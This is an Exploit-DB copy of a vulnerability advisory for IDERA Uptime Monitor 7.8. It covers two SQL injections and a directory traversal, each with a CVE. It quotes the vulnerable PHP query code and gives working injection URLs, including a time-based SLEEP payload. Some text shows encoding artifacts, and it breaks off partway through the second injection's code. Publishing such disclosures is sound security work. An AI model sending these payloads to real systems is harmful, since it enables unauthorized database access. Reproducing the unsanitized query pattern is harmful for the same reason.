Exploit-DB #44071
Description: IDERA Uptime Monitor 7.8 - Multiple Vulnerabilities
Type: webapps
Platform: windows
Date: 2017-06-08
Author: SecuriTeam

Exploit:
## Vulnerabilities Summary
The following advisory describe three (3) vulnerabilities found in IDERA Uptime Monitor version 7.8.

“IDERA Uptime Monitor is a Proactively monitor physical servers, virtual machines, network devices, applications, and services across multiple platforms running on-premise, remotely, or in the Cloud. Uptime Infrastructure Monitor provides a unified view of IT environment health and a GUI that is easily customizable, with a drag-anddrop dashboard design. Create private IT dashboards, team dashboards (server, application, capacity and networking teams, and even the specialist practitioner such as SharePoint farm administrators, etc.), and a network operations center (NOC) for the entire datacenter in minutes.”

The vulnerabilities found are:

SQL Injection (1)
SQL Injection (2)
Directory Traversal and File Access

## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
We notified IDERA about the vulnerabilities back in March 2017, repeated attempts to re-establish contact and get some answers on the status of the patch for this vulnerabilities went unanswered. At this time there is no solution or workaround for this vulnerability.
CVE’s:

SQL Injection (1) – CVE-2017-11470
SQL Injection (2) – CVE-2017-11471
Directory Traversal and File Access – CVE-2017-11469

## Vulnerabilities Details

## SQL Injection (1)
IDERA Uptime Monitor 7.8 is affected by multiple SQL injection vulnerabilities. User controlled data is included in SQL queries made by the application without first being properly sanitized. As a result a remote unauthenticated user can inject arbitrary SQL queries into the application’s back-end database

The SQL injection vulnerability is located in “/gadgets/definitions/uptime.CapacityWhatIfGadget/getmetrics.php”:


```
if (isset($_GET['query_type'])) {
    $query_type = $_GET['query_type'];
}
if (isset($_GET['uptime_offset'])) {
    $offset = $_GET['uptime_offset'];
}
if (isset($_GET['time_frame'])) {
    $time_frame = $_GET['time_frame'];
} else {
    $time_frame = 3;
}
if (isset($_GET['metricType'])) {
    $metricType = $_GET['metricType'];
}
if (isset($_GET['element'])) {
    $vmware_object_id = $_GET['element'];
}
$json = array();
$oneElement = array();
$performanceData = array();
//date_default_timezone_set('UTC');
$db = new uptimeDB;
if ($db - & gt; connectDB()) {
    echo "";
} else {
    echo "unable to connect to DB exiting";
    exit(1);
}
if ($query_type == "osperf-Mem") {
    $min_mem_usage_array = array();
    $max_mem_usage_array = array();
    $avg_mem_usage_array = array();
    $sql = "SELECT
    e.entity_id,
        e.display_name as NAME,
        date(s.sample_time) as SAMPLE_TIME,
        min(a.free_mem) as MIN_MEM_USAGE,
        max(a.free_mem) as MAX_MEM_USAGE,
        avg(a.free_mem) as AVG_MEM_USAGE,
        min(c.memsize) as TOTAL_CAPACITY,
        max(c.memsize),
        avg(c.memsize),
        day(s.sample_time),
        month(s.sample_time),
        year(s.sample_time)
    FROM
    performance_aggregate a, performance_sample s, entity e, entity_configuration c
    WHERE
    s.id = a.sample_id AND
    s.uptimehost_id = e.entity_id AND
    e.entity_id = c.entity_id AND
    s.sample_time & gt;
    date_sub(now(), interval ". $time_frame . "
        month) AND
    e.entity_id = $vmware_object_id
    GROUP BY
    e.entity_id,
        year(s.sample_time),
        month(s.sample_time),
        day(s.sample_time)
```

User controlled data entering the HTTP GET parameter “element” is included as part of an SQL query that is executed if the “$query_type” variable is equal to “osperf-Mem”. Because the value of the “$query_type” variable can also be set using the HTTP GET parameter “query_type”, a user can force the application to take the vulnerable code path, and execute the tainted SQL query. Visiting the following URL on a vulnerable installation will trigger the vulnerability, and return a verbose SQL error message.


```
/gadgets/definitions/uptime.CapacityWhatIfGadget/getmetrics.php?query_type=osperfMem&element='
```

## Proof of Concept

```
http://192.168.199.129:9999/gadgets/definitions/uptime.CapacityWhatIfGadget/getmetrics.php?query_type=osperf-Mem&element=1%20AND%20SLEEP(5)

## SQL Injection (2)
IDERA Uptime Monitor 7.8 is affected by multiple SQL injection vulnerabilities. User controlled data is included in SQL queries made by the application without first being properly sanitized. As a result a remote unauthenticated user can inject arbitrary SQL queries into the application’s back-end database

The vulnerability is very similar in structure to the first SQL vulnerability, and is located in “/gadgets/definitions/uptime.CapacityWhatifGadget/getxenmetrics.php”

```
if (isset($_GET['query_type'])) {
    $query_type = $_GET['query_type'];
}
if (isset($_GET['uptime_offset'])) {
    $offset = $_GET['uptime_offset'];
}
if (isset($_GET['time_frame'])) {
    $time_frame = $_GET['time_frame'];
} else {
    $time_frame = 3;
}
if (isset($_GET['metricType'])) {
    $metricType = $_GET['metricType'];
}
if (isset($_GET['element'])) {
    $element_id = $_GET['element'];
}
$json = array();
$oneElement = array();
$performanceData = array();
//date_default_timezone_set('UTC');
$db = new uptimeDB;
if ($db - & gt; connectDB()) {
    echo "";
} else {
    echo "unable to connect to DB exiting";
    exit(1);
}
if ($query_type == "xenserver-Mem") {
    $min_mem_usage_array = array();
    $max_mem_usage_array = array();
    $avg_mem_usage_array = array();
    $getXenServerMemUsedsql = "SELECT
    e.entity_id,
        e.display_name as NAME,
        date(dd.sampletime) as SAMPLE_TIME,
        min(dd.value) as MIN_MEM_USAGE,
        max(dd.value) as MAX_MEM_USAGE,
        avg(dd.value) as AVG_MEM_USAGE,